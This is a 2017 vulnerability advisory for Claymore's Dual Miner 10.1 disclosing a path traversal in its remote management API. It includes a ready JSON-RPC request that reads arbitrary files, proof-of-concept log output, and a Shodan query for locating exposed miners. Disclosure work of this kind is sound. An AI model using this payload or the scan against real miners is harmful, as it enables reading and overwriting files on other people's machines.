Claymore's Dual Miner 10.1 Stack Buffer Overflow
Posted on 06 December 2017
Author: <github.com/tintinweb> Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-16929 Version: 0.2 Date: Nov 30th, 2017 Tag: claymore dual ethereum decred crypto currency miner Overview Name: Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner Vendor: nanopool/claymore References: * https://github.com/nanopool/Claymore-Dual-Miner * https://bitcointalk.org/index.php?topic=1433925.0 Version: 10.1 [2] Latest Version: 10.1 [2] Other Versions: <= 10.1 Platform(s): windows, linux Technology: C/C++ Vuln Classes: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Origin: remote Min. Privs.: authenticated Source: Closed; runtime protection mechanisms CVE: CVE-2017-16929 Description A specialized mining solution with remote management interface for mining ethereum / decred / siacoin / LBRY Credits / pascal coin. quote website [1][2] - Supports new "dual mining" mode: mining both Ethereum and Decred/Siacoin/Lbry/Pascal at the same time, with no impact on Ethereum mining speed. Ethereum-only mining mode is supported as well. - Effective Ethereum mining speed is higher by 3-5% because of a completely different miner code - much less invalid and outdated shares, higher GPU load, optimized OpenCL code, optimized assembler kernels. - Supports both AMD and nVidia cards, even mixed. - No DAG files. - Supports all Stratum versions for Ethereum: can be used directly without any proxies with all pools that support eth-proxy, qtminer or miner-proxy. - Supports Ethereum and Siacoin solo mining. - Supports both HTTP and Stratum for Decred. - Supports both HTTP and Stratum for Siacoin. Note: not all Stratum versions are supported currently for Siacoin. - Supports Stratum for Lbry and Pascal. - Supports failover. - Displays detailed mining information and hashrate for every card. - Supports remote monitoring and management. - Supports GPU selection, built-in GPU overclocking features and temperature management. - Supports Ethereum forks (Expanse, etc). - Windows and Linux versions. Summary "FOMO driven security blindness." The remote management interface on the Claymore Dual GPU miner 10.1 is vulnerable to an authenticated relative directory traversal vulnerability exploited by issuing a specially crafted remote management request, allowing a remote attacker to read/write arbitrary files due to missing path validation/sanitation. API calls miner_getfile (read) ... read any file miner_file (write) ... write any file conditions: authenticated write: not in readonly mode Successful exploitation would allow an authenticated user to read/write arbitrary files (process permissions) See attached PoC. Details Service Discovery: shodan: 'eth result' lists about 170-240 publicly available instances [3] with significant hash power banner: <html><body bgcolor="#000000" style="font-family: monospace;"> {"result": ["10.1 - ETH", "4286", "149336;7492;0", "30620;29877;28285;30605;29946", "0;0;0", "off;off;off;off;off", "62;65;51;64;61;75;51;67;62;72", "eth-us-east1.nanopool.org:9999", "0;1;0;0"]}<br><br><font color="#ff0000">Remote management: read-only mode, command miner_file ignored </font><br><font color="#00ff00">ETH: 11/22/17-15:28:38 - SHARE FOUND - (GPU 3) .... Remote Management API overview: # >nc -L -p 3333 {"id":0,"jsonrpc":"2.0","method":"miner_getstat1"} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["epools.txt","<encoded>"]} {"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]} {"id":0,"jsonrpc":"2.0","method":"miner_restart"} {"id":0,"jsonrpc":"2.0","method":"miner_reboot"} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "1"]} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["-1", "0"]} {"id":0,"jsonrpc":"2.0","method":"control_gpu","params":["0", "2"]} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["config.txt","<encoded>"]} {"id":0,"jsonrpc":"2.0","method":"miner_file","params":["dpools.txt","<encoded>"]} Directory Traversal: miner_file and miner_getfile both commands do not seem to attempt to sanitize the provided path in any way allowing for relative path traversal. # Vector: traversal # Description: path traversal # Result: retrieves any file "traversal": {"id":0, "jsonrpc":"2.0", "method":"miner_getfile", "params":["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt"]}, ##<<-- path travesal //see PoC vector: traversal See attached PoC. Proof of Concept Prerequisites: compatible AMD/NVidia hardware start miner in read/write mode with no passwort being set for testing #> EthDcrMiner64.exe -epool http://192.168.0.1:8545 -mport 3333 ... run poc.py --vector=traversal (we expect EthDcrMiner64.exe to be placed in a directory called /Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0) [poc.py - <module>() ][ INFO] --start-- [poc.py - <module>() ][ INFO] # Claymore's Dual ETH + DCR/SC/LBC/PASC GPU Miner - Remote Buffer Overwrite [poc.py - <module>() ][ INFO] # github.com/tintinweb [poc.py - iter_targets() ][ WARNING] shodan apikey missing! shodan support disabled. [poc.py - <module>() ][ INFO] [i] Target: 127.0.0.1:3333 [poc.py - <module>() ][ INFO] [+] connected. [poc.py - <module>() ][ DEBUG] <-- 1048 '{"id": 0, "error": null, "result": ["../Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0/config.txt", "<encoded file data>"]}' [poc.py - <module>() ][ INFO] --done-- EthDcrMiner returned the files content, as shown in the logs. ... DCR: 11/22/17-22:56:06 - New job from pasc-eu2.nanopool.org:15555 Remote management: file ..Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal.AMD.NVIDIA.GPU.Miner.v10.0config.txt was uploaded DCR: 11/22/17-22:56:16 - New job from pasc-eu2.nanopool.org:15555 ... Patch n/A - closed source :/ Notes Timeline 11/22/2017 - vendor contact: report sent 11/23/2017 - vendor response: fixed version 10.2 ready and publicly available request for 7+ day embargo vendor statement: The root case is that remote management was designed to be used in local network only. But some "smart" people want to share ports to everyone and then catch problems. I will close the issues you found, but attacker will be able to do something bad anyway, at least execute ddos to prevent remote management work as expected. 12/04/2017 - public disclosure Vendor Changelog Latest version is v10.2: - fixed critical issues in remote management feature (attacker could crash miner even in read-only mode). - now miner supports up to #299 epoch. - in rare cases ADL API calls can hang, now watchdog checks it as well. - improved "-minspeed" option, check readme for details. - added "miner_getstat2" command to remote management, check "API.txt" for details. - EthMan: added detailed stats mode in main window. - a few minor improvements in both miner and EthMan. Runtime Protection * Linux: packer / just compression * gdb * Windows: protector / anti-debug, vmprotect? * x64dbg: DbgUiRemoteBreakin <- RET References [1] https://github.com/nanopool/Claymore-Dual-Miner [2] https://bitcointalk.org/index.php?topic=1433925.0 [3] https://www.shodan.io/search?query=eth+result Contact https://github.com/tintinweb
